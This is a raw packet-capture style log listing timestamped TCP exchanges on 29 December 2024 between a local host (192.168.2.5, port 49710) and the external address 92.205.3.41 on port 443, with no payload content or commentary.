Dec 29, 2024 09:04:27.467937946 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:27.592427969 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:27.592490911 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:27.826787949 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:27.826798916 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:27.826873064 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:27.826889992 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:27.826920986 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:27.827052116 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:27.827052116 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:27.827107906 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:27.827172995 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:27.827316999 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:27.827377081 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:27.827970028 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:27.828037977 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:27.828178883 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:27.828244925 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:27.828953028 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:27.829024076 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:27.829514980 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:27.829581976 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:27.829843044 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:27.829900980 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:27.831434011 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:27.831494093 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:27.840953112 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:27.841025114 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:27.948043108 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:27.948141098 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:27.958883047 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:27.958972931 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:27.969245911 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:27.969312906 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:27.975822926 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:27.975888968 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:27.986260891 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:27.986331940 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:27.993968964 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:27.994051933 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.001744986 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.001822948 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.011996031 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.012079954 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.018606901 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.018671036 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.028868914 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.028939009 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.036623955 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.036705971 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.044569016 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.044651985 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.053495884 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.053569078 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.065912962 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.066071033 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.074563980 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.074640036 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.082119942 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.082186937 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.089761972 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.089842081 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.097280979 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.097359896 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.107309103 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.107391119 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.114824057 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.114897013 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.123642921 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.123708963 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.131192923 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.131266117 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.138025999 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.138283968 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.146423101 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.146488905 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.152473927 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.152555943 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.158478022 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.158555984 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.164009094 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.164088011 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.171176910 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.171248913 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.176476002 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.176564932 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.182514906 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.182596922 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.187872887 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.187938929 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.193115950 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.193197012 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.197318077 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.197402000 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.200948000 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.201021910 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.203994036 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.204073906 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.206641912 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.206739902 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.210292101 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.210367918 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.213124037 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.213202000 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.215980053 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.216051102 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.218763113 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.218853951 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.221880913 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.221955061 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.224663019 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.224746943 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.228255033 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.228327990 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.231139898 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.231220961 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.233798027 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.233871937 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.237356901 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.237426996 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.240144014 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.240226030 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.388365030 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.388602018 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.390175104 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.390297890 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.391794920 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.391870975 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.393208981 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.393285036 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.394711971 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.394785881 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.396763086 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.396836996 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.398252010 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.398317099 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.399817944 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.399887085 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.401266098 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.401355982 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.402699947 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.402790070 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.404231071 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.404316902 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.406143904 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.406234026 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.407555103 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.407624006 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.409018040 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.409091949 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.411237955 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.411315918 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.412628889 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.412698030 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.589410067 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.589498997 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.591167927 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.591242075 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.592689991 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.592761040 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.594162941 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.594233036 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.595606089 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.595676899 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.597035885 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.597107887 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.599212885 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.599282026 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.600663900 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.600730896 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.602266073 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.602334023 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.603667021 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.603734016 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.605145931 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.605216026 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.607184887 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.607254028 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.608577967 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.608645916 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.610035896 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.610105991 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.611514091 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.611582041 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.613627911 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.613694906 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.790812016 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.790911913 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.791693926 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.791769028 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.793157101 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.793236017 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.794588089 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.794662952 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.796730042 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.796809912 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.798187017 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.798266888 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.799729109 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.799820900 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.801250935 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.801337004 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.802655935 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.802773952 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.804128885 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.804205894 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.806287050 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.806366920 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.807871103 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.807950020 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.809092045 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.809170008 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.811152935 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.811223030 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.812699080 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.812772036 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.814141035 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.814213037 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.815603971 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.815675020 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.992463112 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.992556095 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.993849993 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.993923903 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.996049881 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.996148109 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.997564077 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.997680902 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:28.999121904 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:28.999191999 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.000469923 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.000564098 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.001929998 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.002015114 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.004138947 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.004231930 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.005544901 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.005628109 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.007059097 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.007155895 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.008546114 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.008644104 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.009987116 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.010062933 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.011986017 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.012089014 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.013406992 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.013520956 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.014832973 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.014909029 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.016326904 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.016417980 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.193569899 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.193655014 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.195019007 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.195089102 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.196557045 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.196630955 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.198097944 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.198173046 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.199501038 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.199573994 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.200953960 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.201030016 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.203056097 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.203116894 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.204618931 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.204684973 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.206089973 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.206161022 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.207725048 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.207868099 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.209022045 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.209086895 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.211144924 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.211216927 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.212574005 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.212642908 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.213917971 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.213989973 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.216701984 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.216769934 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.218040943 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.218106985 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.395049095 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.395215034 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.396009922 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.396131992 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.397378922 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.397505045 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.398854017 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.398957968 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.400968075 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.401062012 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.402451992 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.402533054 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.403966904 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.404042006 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.405455112 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.405531883 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.406990051 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.407075882 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.409041882 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.409121037 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.410504103 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.410574913 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.412039042 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.412108898 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.413505077 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.413585901 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.415386915 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.415457010 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.416845083 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.416930914 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.418414116 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.418498039 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.419886112 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.419955015 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.596739054 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.596868992 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.598642111 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.598730087 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.600040913 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.600131989 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.601524115 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.601625919 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.603002071 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.603086948 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.605129957 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.605230093 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.606662989 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.606748104 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.608133078 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.608207941 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.609678984 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.609755039 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.611053944 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.611128092 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.613163948 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.613235950 CET	49710	443	192.168.2.5	92.205.3.41
